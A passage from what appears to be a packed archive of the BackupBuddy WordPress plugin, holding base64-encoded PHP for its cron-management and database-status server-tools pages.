GJlZW4gZGVsZXRlZC4nICkgKTsKfQoKJGNyb24gPSBnZXRfb3B0aW9uKCAnY3JvbicgKTsKCi8vIEhhbmRsZSBDUk9OIGRlbGV0aW9ucy4KaWYgKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdidWxrX2FjdGlvbicgKSA9PSAnZGVsZXRlX2Nyb24nICkgewoJaWYgKCBkZWZpbmVkKCAnUEJfREVNT19NT0RFJyApICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0FjY2VzcyBkZW5pZWQgaW4gZGVtbyBtb2RlLicsIHRydWUgKTsKCX0gZWxzZSB7CgkJJGRlbGV0ZV9pdGVtcyA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ2l0ZW1zJyApOwoKCQkkZGVsZXRlZF9jcm9ucyA9IGFycmF5KCk7IC8vIEZvciBsaXN0aW5nIGluIGFsZXJ0LgoJCWZvcmVhY2ggKCAkZGVsZXRlX2l0ZW1zIGFzICRkZWxldGVfaXRlbSApIHsKCQkJJGNyb25fcGFydHMgPSBleHBsb2RlKCAnfCcsICRkZWxldGVfaXRlbSApOwoJCQkkdGltZXN0YW1wICA9ICRjcm9uX3BhcnRzWzBdOwoJCQkkY3Jvbl9ob29rICA9ICRjcm9uX3BhcnRzWzFdOwoJCQkkY3Jvbl9rZXkgICA9ICRjcm9uX3BhcnRzWzJdOwoKCQkJaWYgKCBpc3NldCggJGNyb25bICR0aW1lc3RhbXAgXVsgJGNyb25faG9vayBdWyAkY3Jvbl9rZXkgXSApICkgeyAvLyBSdW4gY3Jvbi4KCgkJCQkkY3Jvbl9hcnJheSA9ICRjcm9uWyAkdGltZXN0YW1wIF1bICRjcm9uX2hvb2sgXVsgJGNyb25fa2V5IF07IC8vIEdldCBjcm9uIGFycmF5IGJhc2VkIG9uIHBhc3NlZCB2YWx1ZXMuCgkJCQkkcmVzdWx0ICAgICA9IGJhY2t1cGJ1ZGR5X2NvcmU6OnVuc2NoZWR1bGVfZXZlbnQoICR0aW1lc3RhbXAsICRjcm9uX2hvb2ssICRjcm9uX2FycmF5WydhcmdzJ10gKTsgLy8gRGVsZXRlIHRoZSBzY2hlZHVsZWQgY3Jvbi4KCQkJCWlmICggZmFsc2UgPT09ICRyZXN1bHQgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnRXJyb3IgIzU2NTc2Njc2NzUuIFVuYWJsZSB0byBkZWxldGUgQ1JPTiBqb2IuIFBsZWFzZSBzZWUgeW91ciBCYWNrdXBCdWRkeSBlcnJvciBsb2cgZm9yIGRldGFpbHMuJyApOwoJCQkJfQoJCQkJJGRlbGV0ZWRfY3JvbnNbXSA9ICRjcm9uX2hvb2sgLiAnIC8gJyAuICRjcm9uX2tleTsgLy8gQWRkIGRlbGV0ZWQgY3JvbiB0byBsaXN0IG9mIGRlbGV0aW9ucyBmb3IgZGlzcGxheS4KCgkJCX0gZWxzZSB7IC8vIENyb24gbm90IGZvdW5kLCBlcnJvci4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0ludmFsaWQgQ1JPTiBqb2IuIE5vdCBmb3VuZC4nLCB0cnVlICk7CgkJCX0KCQl9CgoJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggX18oICdEZWxldGVkIHNjaGVkdWxlZCBDUk9OIGV2ZW50KHMpOicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzxicj4nIC4gaW1wbG9kZSggJzxicj4nLCAkZGVsZXRlZF9jcm9ucyApICk7CgkJJGNyb24gPSBnZXRfb3B0aW9uKCAnY3JvbicgKTsgLy8gUmVzZXQgdG8gbW9zdCB1cCB0byBkYXRlIHN0YXR1cyBmb3IgY3JvbiBsaXN0aW5nIGJlbG93LiBUYWtlcyBpbnRvIGFjY291bnQgZGVsZXRpb25zLgoJfQp9CgovLyBIYW5kbGUgUlVOTklORyBjcm9uIGpvYnMgbWFudWFsbHkuCmlmICggISBlbXB0eSggJF9HRVRbJ3J1bl9jcm9uJ10gKSApIHsKCWlmICggZGVmaW5lZCggJ1BCX0RFTU9fTU9ERScgKSApIHsKCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoICdBY2Nlc3MgZGVuaWVkIGluIGRlbW8gbW9kZS4nLCB0cnVlICk7Cgl9IGVsc2UgewoJCSRjcm9uX3BhcnRzID0gZXhwbG9kZSggJ3wnLCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3J1bl9jcm9uJyApICk7CgkJJHRpbWVzdGFtcCAgPSAkY3Jvbl9wYXJ0c1swXTsKCQkkY3Jvbl9ob29rICA9ICRjcm9uX3BhcnRzWzFdOwoJCSRjcm9uX2tleSAgID0gJGNyb25fcGFydHNbMl07CgoJCWlmICggaXNzZXQoICRjcm9uWyAkdGltZXN0YW1wIF1bICRjcm9uX2hvb2sgXVsgJGNyb25fa2V5IF0gKSApIHsgLy8gUnVuIGNyb24uCgkJCSRjcm9uX2FycmF5ID0gJGNyb25bICR0aW1lc3RhbXAgXVsgJGNyb25faG9vayBdWyAkY3Jvbl9rZXkgXTsgLy8gR2V0IGNyb24gYXJyYXkgYmFzZWQgb24gcGFzc2VkIHZhbHVlcy4KCgkJCWRvX2FjdGlvbl9yZWZfYXJyYXkoICRjcm9uX2hvb2ssICRjcm9uX2FycmF5WydhcmdzJ10gKTsgLy8gUnVuIHRoZSBjcm9uIGpvYiEKCgkJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ1JhbiBDUk9OIGV2ZW50IGAnIC4gJGNyb25faG9vayAuICcgLyAnIC4gJGNyb25fa2V5IC4gJ2AuIEl0cyBzY2hlZHVsZSB3YXMgbm90IG1vZGlmaWVkLicgKTsKCQl9IGVsc2UgeyAvLyBDcm9uIG5vdCBmb3VuZCwgZXJyb3IuCgkJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0ludmFsaWQgQ1JPTiBqb2IuIE5vdCBmb3VuZC4nLCB0cnVlICk7CgkJfQoJfQp9CgpyZXF1aXJlICdfY3Jvbi5waHAnOwoKLy8gRGlzcGxheSBDUk9OIHRhYmxlLgpwYl9iYWNrdXBidWRkeTo6JHVpLT5saXN0X3RhYmxlKAoJJGNyb25zLCAvLyBBcnJheSBvZiBjcm9uIGl0ZW1zIHNldCBpbiBjb2RlIHNlY3Rpb24gYWJvdmUuCglhcnJheSgKCQknYWN0aW9uJyAgICAgICAgICAgICAgICAgID0+IHBiX2JhY2t1cGJ1ZGR5OjpwYWdlX3VybCgpIC4gJyNwYl9iYWNrdXBidWRkeV9nZXR0aW5nX3N0YXJ0ZWRfdGFiX3Rvb2xzJywKCQknY29sdW1ucycgICAgICAgICAgICAgICAgID0+IGFycmF5KAoJCQlfXyggJ1NjaGVkdWxlZCBFdmVudHMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCQkJX18oICdOZXh0IFJ1bicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQlfXyggJ1BlcmlvZCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQlfXyggJ0ludGVydmFsJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkJCV9fKCAnQXJndW1lbnRzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkJKSwKCQknY3NzJyAgICAgICAgICAgICAgICAgICAgID0+ICd3aWR0aDogMTAwJTsnLAoJCSdob3Zlcl9hY3Rpb25zJyAgICAgICAgICAgPT4gYXJyYXkoCgkJCSdydW5fY3JvbicgPT4gJ1J1biBjcm9uIGpvYiBub3cnLAoJCSksCgkJJ2J1bGtfYWN0aW9ucycgICAgICAgICAgICA9PiBhcnJheSggJ2RlbGV0ZV9jcm9uJyA9PiAnRGVsZXRlJyApLAoJCSdob3Zlcl9hY3Rpb25fY29sdW1uX2tleScgPT4gJzAnLAoJKQopOwo/PgoKPGRpdiBzdHlsZT0iZmxvYXQ6IHJpZ2h0OyBtYXJnaW4tYm90dG9tOiAxcHg7Ij4KCTxhIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZmZlYmM2OyAhaW1wb3J0YW50OyIgaHJlZj0iPD9waHAgZWNobyBwYl9iYWNrdXBidWRkeTo6cGFnZV91cmwoKTsgPz4mY2xlYXJfY3Jvbj15ZXMmdGFiPTMiIGNsYXNzPSJidXR0b24gc2Vjb25kYXJ5LWJ1dHRvbiIgb25DbGljaz0iaWYgKCBmYWxzZSA9PT0gY29uZmlybSggJzw/cGhwIF9lKCAnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGNsZWFyIGFsbCBjcm9uIGVudHJpZXM/IFdvcmRQcmVzcyB3aWxsIGF1dG9tYXRpY2FsbHkgcmVnZW5lcmF0ZSBjcm9ucyBidXQgc29tZSAzcmQgcGFydHkgcGx1Z2lucyBtYXkgbm90LicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PicgKSApIHsgcmV0dXJuIGZhbHNlOyB9Ij48P3BocCBfZSggJ0RlbGV0ZSBBbGwgQ3JvbiBFbnRyaWVzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+PC9hPgo8L2Rpdj4KCjxicj48YnI+PGJyPjxicj4KPD9waHAKCi8vIERpc3BsYXkgdGltZSBpbnRlcnZhbHMgdGFibGUuCiRwcmV0dHlfaW50ZXJ2YWxzICAgPSBhcnJheSgpOwokc2NoZWR1bGVfaW50ZXJ2YWxzID0gd3BfZ2V0X3NjaGVkdWxlcygpOwovLyBOZWVkIHRvIGNyZWF0ZSBhICJmbGF0IiBhcnJheSB3aGVyZSB0aGUga2V5IGlzIG9zdGVuc2libHkgdGhlIHNjaGVkdWxlIGludGVydmFsCi8vIHNvIHdlIGNhbiBzb3J0IG9uIHRoZSBpbnRlcnZhbC4gUHJvYmxlbSBpcyB0aGF0IG11bHRpcGxlIHNjaGVkdWxlcyBtYXkgaGF2ZSB0aGUKLy8gc2FtZSBpbnRlcnZhbCBhbmQgdGhhdCBvYnZpb3VzbHkgZG9lc24ndCB3b3JrIGFzIHdlIGNhbm5vdCBoYXZlIGR1cGxpY2F0ZSBrZXlzLgovLyBXZSdsbCBjcmVhdGUgYSAyLWRpbWVuc2lvbmFsIGFycmF5IHdoaWNoIG1heSBoYXZlIG11bHRpcGxlCi8vIGVudHJpZXMgdW5kZXIgdGhlIHNhbWUgaW50ZXJ2YWwgYW5kIHRoZW4gd2UnbGwgc29ydCBvbiB0aGUgaW50ZXJ2YWwgYW5kIHRoZW4KLy8gZmxhdHRlbiB0aGUgYXJyYXkuIFRoZXJlIGFyZSBvdGhlciBzb2x1dGlvbnMgYnV0IHRoaXMgaXMgZnVuY3Rpb25hbCBmb3IgdGhlCi8vIGJhc2ljIHJlcXVpcmVtZW50IGhlcmUuCmZvcmVhY2ggKCAkc2NoZWR1bGVfaW50ZXJ2YWxzIGFzICRpbnRlcnZhbF90YWcgPT4gJHNjaGVkdWxlX2ludGVydmFsICkgewoJJHByZXR0eV9pbnRlcnZhbHNbICRzY2hlZHVsZV9pbnRlcnZhbFsnaW50ZXJ2YWwnXSBdW10gPSBhcnJheSgKCQkkc2NoZWR1bGVfaW50ZXJ2YWxbJ2Rpc3BsYXknXSwKCQkkaW50ZXJ2YWxfdGFnLAoJCSRzY2hlZHVsZV9pbnRlcnZhbFsnaW50ZXJ2YWwnXSwKCSk7Cn0Ka3NvcnQoICRwcmV0dHlfaW50ZXJ2YWxzICk7CiRwcmV0dHlfaW50ZXJ2YWxzID0gYXJyYXlfcmV2ZXJzZSggJHByZXR0eV9pbnRlcnZhbHMgKTsKCi8vIE5vdyBmbGF0dGVuIHRoZSBhcnJheS4KJGRpc3BsYXlfaW50ZXJ2YWxzID0gYXJyYXkoKTsKZm9yZWFjaCAoICRwcmV0dHlfaW50ZXJ2YWxzIGFzICRpbnRlcnZhbCApIHsKCWlmICggaXNfYXJyYXkoICRpbnRlcnZhbFswXSApICkgewoJCS8vIEFycmF5IG9mIGFycmF5cyBvZiBzY2hlZHVsZSBkZXRhaWxzLgoJCWZvcmVhY2ggKCAkaW50ZXJ2YWwgYXMgJGludGVydmFsMiApIHsKCQkJJGRpc3BsYXlfaW50ZXJ2YWxzW10gPSAkaW50ZXJ2YWwyOwoJCX0KCX0gZWxzZSB7CgkJLy8gSnVzdCBhcnJheSBvZiBzY2hlZHVsZSBkZXRhaWxzLgoJCSRkaXNwbGF5X2ludGVydmFsc1tdID0gJGludGVydmFsOwoJfQp9CgpwYl9iYWNrdXBidWRkeTo6JHVpLT5saXN0X3RhYmxlKAoJJGRpc3BsYXlfaW50ZXJ2YWxzLCAvLyBBcnJheSBvZiBjcm9uIGl0ZW1zIHNldCBpbiBjb2RlIHNlY3Rpb24gYWJvdmUuCglhcnJheSgKCQknY29sdW1ucycgPT4gYXJyYXkoCgkJCV9fKCAnU2NoZWR1bGUgUGVyaW9kcycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQlfXyggJ1RhZycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQlfXyggJ0ludGVydmFsJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkJKSwKCQknY3NzJyAgICAgPT4gJ3dpZHRoOiAxMDAlOycsCgkpCik7CmVjaG8gJzxicj48YnI+JzsKCmlmICggZW1wdHkoICRfR0VUWydzaG93X2Nyb25fYXJyYXknXSApICkgewoJPz4KCTxwPgoJCTxjZW50ZXI+CgkJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gcGJfYmFja3VwYnVkZHk6OnBhZ2VfdXJsKCk7ID8+JnRhYj0zJnNob3dfY3Jvbl9hcnJheT10cnVlI3BiX2JhY2t1cGJ1ZGR5X2dldHRpbmdfc3RhcnRlZF90YWJfdG9vbHMiIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7Ij4KCQkJCTw/cGhwIGVzY19odG1sX2UoICdEaXNwbGF5IENST04gRGVidWdnaW5nIEFycmF5JywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+CgkJCTwvYT4KCQk8L2NlbnRlcj4KCTwvcD4KCTw/cGhwCn0gZWxzZSB7CgllY2hvICc8YnI+PHRleHRhcmVhIHJlYWRvbmx5PSJyZWFkb25seSIgc3R5bGU9IndpZHRoOiA3OTNweDsiIHJvd3M9IjEzIiBjb2xzPSI3NSIgd3JhcD0ib2ZmIj4nOwoJcHJpbnRfciggJGNyb24gKTsKCWVjaG8gJzwvdGV4dGFyZWE+PGJyPjxicj4nOwp9CnVuc2V0KCAkY3JvbiApOwo/PgoKPGJyPgo8ZGl2IGNsYXNzPSJkZXNjcmlwdGlvbiI+Cgk8Yj5Ob3RlPC9iPjogRHVlIHRvIHRoZSB3YXkgc2NoZWR1bGVzIGFyZSB0cmlnZ2VyZWQgaW4gV29yZFByZXNzIHlvdXIgc2l0ZSBtdXN0IGJlIGFjY2Vzc2VkIChmcm9udGVuZCBvciBhZG1pbiBhcmVhKSBmb3Igc2NoZWR1bGVkIGJhY2t1cHMgdG8gb2NjdXIuCglXb3JkUHJlc3Mgc2NoZWR1bGVkIGV2ZW50cyAoImNyb25zIikgbWF5IGJlIHZpZXdlZCBvciBydW4gbWFudWFsbHkgaW4gdGhlIHRhYmxlIGFib3ZlPC9hPi4gQSA8YSBocmVmPSJodHRwczovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPWZyZWUrd2Vic2l0ZSt1cHRpbWUmb3E9ZnJlZSt3ZWJzaXRlK3VwdGltZSIgdGFyZ2V0PSJfYmxhbmsiPmZyZWUgd2Vic2l0ZSB1cHRpbWU8L2E+IHNlcnZpY2Ugb3IgPGEgaHJlZj0iaHR0cHM6Ly9pdGhlbWVzLmNvbS9zeW5jLXByby91cHRpbWUtbW9uaXRvcmluZy8iIHRhcmdldD0iX2JsYW5rIj5pVGhlbWVzIFN5bmMgUHJvJ3MgVXB0aW1lIE1vbml0b3Jpbmc8L2E+IGNhbiBiZSB1c2VkIHRvIGF1dG9tYXRpY2FsbHkgYWNjZXNzIHlvdXIgc2l0ZSByZWd1bGFybHkgdG8gaGVscCB0cmlnZ2VyIHNjaGVkdWxlZCBhY3Rpb25zICgiY3JvbnMiKSBpbiBjYXNlcyBvZiBsb3cgc2l0ZSBhY3Rpdml0eSwgd2l0aCB0aGUgYWRkZWQgcGVyayBvZiBrZWVwaW5nIHRyYWNrIG9mIHlvdXIgc2l0ZSB1cHRpbWUuCjwvZGl2Pgo=
###PACKDATA,FILE_END,/controllers/pages/server_info/cron.php,importbuddy/controllers/pages/server_info/cron.php
###PACKDATA,FILE_START,/controllers/pages/server_info/database.php,importbuddy/controllers/pages/server_info/database.php
PD9waHAKLyoqCiAqIERhdGFiYXNlIFRhYiBvZiBTZXJ2ZXIgVG9vbHMgUGFnZQogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8KCmlmICggISBpc3NldCggJHBhcmVudF9jbGFzcyApICkgewoJJHBhcmVudF9jbGFzcyA9ICR0aGlzOwp9CgokcHJvZmlsZV9pZCA9IDA7CmlmICggaXNfbnVtZXJpYyggcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdwcm9maWxlJyApICkgKSB7CgkkcHJvZmlsZV9pZCA9IHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAncHJvZmlsZScgKTsKCWlmICggaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncHJvZmlsZXMnXVsgJHByb2ZpbGVfaWQgXSApICkgewoJCSRwcm9maWxlID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwcm9maWxlcyddWyAkcHJvZmlsZV9pZCBdOwoJCXBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncHJvZmlsZXMnXVsgcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdwcm9maWxlJyApIF0gPSBhcnJheV9tZXJnZSggcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAncHJvZmlsZV9kZWZhdWx0cycgKSwgJHByb2ZpbGUgKTsgLy8gU2V0IGRlZmF1bHRzIGlmIG5vdCBzZXQuCgl9IGVsc2UgewoJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0Vycm9yICM0NTg0OTQ1ODogSW52YWxpZCBwcm9maWxlIElEIG51bWJlciBgJyAuIGh0bWxlbnRpdGllcyggcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdwcm9maWxlJyApICkgLiAnYC4gRGlzcGxheWluZyB3aXRoIGRlZmF1bHQgcHJvZmlsZS4nLCB0cnVlICk7Cgl9Cn0KCi8vIEdldCBwcm9maWxlIGFycmF5LgokcHJvZmlsZSA9IGFycmF5X21lcmdlKCBwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoICdwcm9maWxlX2RlZmF1bHRzJyApLCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Byb2ZpbGVzJ11bICRwcm9maWxlX2lkIF0gKTsKZm9yZWFjaCAoICRwcm9maWxlIGFzICRwcm9maWxlX2l0ZW1fbmFtZSA9PiAmJHByb2ZpbGVfaXRlbSApIHsgLy8gcmVwbGFjZSBub24tb3ZlcnJpZGRlbiBkZWZhdWx0cyB3aXRoIGFjdHVhbCBkZWZhdWx0IHZhbHVlLgoJaWYgKCAnLTEnID09ICRwcm9maWxlX2l0ZW0gKSB7IC8vIFNldCB0byB1c2UgZGVmYXVsdCBzbyBnbyBncmFiIGRlZmF1bHQuCgkJaWYgKCBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwcm9maWxlcyddWzBdWyAkcHJvZmlsZV9pdGVtX25hbWUgXSApICkgewoJCQkkcHJvZmlsZV9pdGVtID0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwcm9maWxlcyddWzBdWyAkcHJvZmlsZV9pdGVtX25hbWUgXTsgLy8gR3JhYiB2YWx1ZSBmcm9tIGRlZmF1bHRzIHByb2ZpbGUgYW5kIHJlcGxhY2Ugd2l0aCBpdC4KCQl9Cgl9Cn0KPz4KPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogNHB4OyI+PD9waHAgZXNjX2h0bWxfZSggJ0JhY2t1cCBwcm9maWxlIGZvciBjYWxjdWxhdGluZyBleGNsdXNpb25zJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+OgoJPHNlbGVjdCBpZD0icGJfYmFja3VwYnVkZHlfZGF0YWJhc2Vwcm9maWxlIiBvbkNoYW5nZT0id2luZG93LmxvY2F0aW9uLmhyZWYgPSAnPD9waHAgZWNobyBwYl9iYWNrdXBidWRkeTo6cGFnZV91cmwoKTsgPz4mdGFiPTEmcHJvZmlsZT0nICsgalF1ZXJ5KHRoaXMpLnZhbCgpOyI+Cgk8P3BocCBmb3JlYWNoICggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwcm9maWxlcyddIGFzICR0aGlzX3Byb2ZpbGVfaWQgPT4gJHRoaXNfcHJvZmlsZSApIHsgPz4KCQk8b3B0aW9uIHZhbHVlPSI8P3BocCBlY2hvIGVzY19hdHRyKCAkdGhpc19wcm9maWxlX2lkICk7ID8+IgoJCQk8P3BocAoJCQlpZiAoICRwcm9maWxlX2lkID09ICR0aGlzX3Byb2ZpbGVfaWQgKSB7CgkJCQllY2hvICdzZWxlY3RlZCc7CgkJCX0KCQkJPz4KCQk+PD9waHAgZWNobyBlc2NfaHRtbCggJHRoaXNfcHJvZmlsZVsndGl0bGUnXSApOyA/PiAoPD9waHAgZWNobyBlc2NfaHRtbCggJHRoaXNfcHJvZmlsZVsndHlwZSddICk7ID8+KTwvYT4KCTw/cGhwIH0gPz4KCTwvc2VsZWN0Pgo8L2Rpdj4KCjx0YWJsZSBjbGFzcz0id2lkZWZhdCBzdHJpcGVkIj4KCTx0aGVhZD4KCQk8dHIgY2xhc3M9InRoZWFkIj4KCQkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnRGF0YWJhc2UgVGFibGUnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQkJPHRoPjw/cGhwIGVzY19odG1sX2UoICdTdGF0dXMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQkJPHRoPjw/cGhwIGVzY19odG1sX2UoICdTZXR0aW5ncycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ1VwZGF0ZWQgLyBDaGVja2VkJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+PC90aD4KCQkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnUm93cycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ1NpemUnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQkJPHRoPjw/cGhwIGVzY19odG1sX2UoICdFeGNsdWRlZCBTaXplJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+PC90aD4KCQk8L3RyPgoJPC90aGVhZD4KCTx0Zm9vdD4KCQk8dHIgY2xhc3M9InRoZWFkIj4KCQkJPHRoPjw/cGhwIGVzY19odG1sX2UoICdEYXRhYmFzZSBUYWJsZScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnU3RhdHVzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7ID8+PC90aD4KCQkJPHRoPjw/cGhwIGVzY19odG1sX2UoICdTZXR0aW5ncycsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApOyA/PjwvdGg+CgkJCTx0aD48P3BocCBlc2NfaHRtbF9lKCAnVXBkYXRlZCAvIENoZWNrZWQnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ1Jvd3MnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ1NpemUnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCQk8dGg+PD9waHAgZXNjX2h0bWxfZSggJ0V4Y2x1ZGVkIFNpemUnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsgPz48L3RoPgoJCTwvdHI+Cgk8L3Rmb290PgoJPHRib2R5PgoJCTw/cGhwCgkJZ2xvYmFsICR3cGRiOwoJCSRwcmVmaXggICAgICAgID0gJHdwZGItPnByZWZpeDsKCQkkcHJlZml4X2xlbmd0aCA9IHN0cmxlbiggJHdwZGItPnByZWZpeCApOwoKCQkkYWRkaXRpb25hbF9pbmNsdWRlcyA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF9teXNxbGR1bXBfYWRkaXRpb25hbCggJ2luY2x1ZGVzJywgJHByb2ZpbGUgKTsKCQkkYWRkaXRpb25hbF9leGNsdWRlcyA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldF9teXNxbGR1bXBfYWRkaXRpb25hbCggJ2V4Y2x1ZGVzJywgJHByb2ZpbGUgKTsKCgkJJHRvdGFsX3NpemUgICAgICAgICAgICAgICAgID0gMDsKCQkkdG90YWxfc2l6ZV93aXRoX2V4Y2x1c2lvbnMgPSAwOwoJCSR0b3RhbF9yb3dzICAgICAgICAgICAgICAgICA9IDA7CgkJJHJvd3MgICAgICAgICAgICAgICAgICAgICAgID0gJHdwZGItPmdldF9yZXN1bHRzKCAnU0hPVyBUQUJMRSBTVEFUVVMnLCBBUlJBWV9BICk7CgkJZm9yZWFjaCAoICRyb3dzIGFzICRyb3cgKSB7CgkJCSRleGNsdWRlZCA9IHRydWU7IC8vIERlZmF1bHQuCgoJCQkvLyBUQUJMRSBTVEFUVVMuCgkJCSRyb3dzYiA9ICR3cGRiLT5nZXRfcmVzdWx0cyggIkNIRUNLIFRBQkxFIGB7JHJvd1snTmFtZSddfWAiLCBBUlJBWV9BICk7CgkJCWZvcmVhY2ggKCAkcm93c2IgYXMgJHJvd2IgKSB7CgkJCQlpZiAoICdzdGF0dXMnID09ICRyb3diWydNc2dfdHlwZSddICkgewoJCQkJCSRzdGF0dXMgPSAkcm93YlsnTXNnX3RleHQnXTsKCQkJCX0KCQkJfQoJCQl1bnNldCggJHJvd3NiICk7CgoJCQkvLyBGaXggdXAgcm93IGNvdW50IGFuZCBhdmVyYWdlIHJvdyBsZW5ndGggZm9yIElubm9EQiBlbmdpbmUgd2hpY2ggcmV0dXJucyBpbmFjY3VyYXRlCgkJCS8vIChhbmQgY2hhbmdpbmcpIHZhbHVlcyBmb3IgdGhlc2UuCgkJCWlmICggJ0lubm9EQicgPT09ICRyb3dbJ0VuZ2luZSddICkgewoJCQkJJGNvdW50ID0gJHdwZGItPmdldF92YXIoICJTRUxFQ1QgQ09VTlQoMSkgRlJPTSBgeyRyb3dbJ05hbWUnXX1gIiApOwoJCQkJaWYgKCBmYWxzZSAhPT0gJGNvdW50ICkgewoJCQkJCSRyb3dbJ1Jvd3MnXSA9ICRjb3VudDsKCQkJCQlpZiAoIDAgPCAkcm93WydSb3dzJ10gKSB7CgkJCQkJCSRyb3dbJ0F2Z19yb3dfbGVuZ3RoJ10gPSAoICRyb3dbJ0RhdGFfbGVuZ3RoJ10gLyAkcm93WydSb3dzJ10gKTsKCQkJCQl9CgkJCQl9CgkJCX0KCgkJCS8vIFRBQkxFIFNJWkUuCgkJCSRzaXplICAgICAgICA9ICggJHJvd1snRGF0YV9sZW5ndGgnXSArICRyb3dbJ0luZGV4X2xlbmd0aCddICk7CgkJCSR0b3RhbF9zaXplICs9ICRzaXplOwoKCQkJLy8gSEFORExFIEVYQ0xVU0lPTlMuCgkJCWlmICggMCA9PSAkcHJvZmlsZVsnYmFja3VwX25vbndwX3RhYmxlcyddICkgeyAvLyBPbmx5IG1hdGNoaW5nIHByZWZpeC4KCQkJCWlmICggc3Vic3RyKCAkcm93WydOYW1lJ10sIDAsICRwcmVmaXhfbGVuZ3RoICkgPT0gJHByZWZpeCB8fCBpbl9hcnJheSggJHJvd1snTmFtZSddLCAkYWRkaXRpb25hbF9pbmNsdWRlcyApICkgewoJCQkJCWlmICggISBpbl9hcnJheSggJHJvd1snTmFtZSddLCAkYWRkaXRpb25hbF9leGNsdWRlcyApICkgewoJCQkJCQkkdG90YWxfc2l6ZV93aXRoX2V4Y2x1c2lvbnMgKz0gJHNpemU7CgkJCQkJCSRleGNsdWRlZCAgICAgICAgICAgICAgICAgICAgPSBmYWxzZTsKCQkJCQl9CgkJCQl9CgkJCX0gZWxzZSB7IC8vIEFsbCB0YWJsZXMuCgkJCQlpZiAoICEgaW5fYXJyYXkoICRyb3dbJ05hbWUnXSwgJGFkZGl0aW9uYWxfZXhjbHVkZXMgKSApIHsKCQkJCQkkdG90YWxfc2l6ZV93aXRoX2V4Y2x1c2lvbnMgKz0gJHNpemU7CgkJCQkJJGV4Y2x1ZGVkICAgICAgICAgICAgICAgICAgICA9IGZhbHNlOwoJCQkJfQoJCQl9CgkJCS8vIE9VVFBVVCBUQUJMRSBST1cuCgkJCWVjaG8gJzx0ciBjbGFzcz0iZW50cnktcm93Iic7CgkJCWlmICggdHJ1ZSA9PT0gJGV4Y2x1ZGVkICkgewoJCQkJZWNobyAnIHN0eWxlPSJiYWNrZ3JvdW5kOiAjZmNjOWM5OyInOwoJCQl9CgkJCWV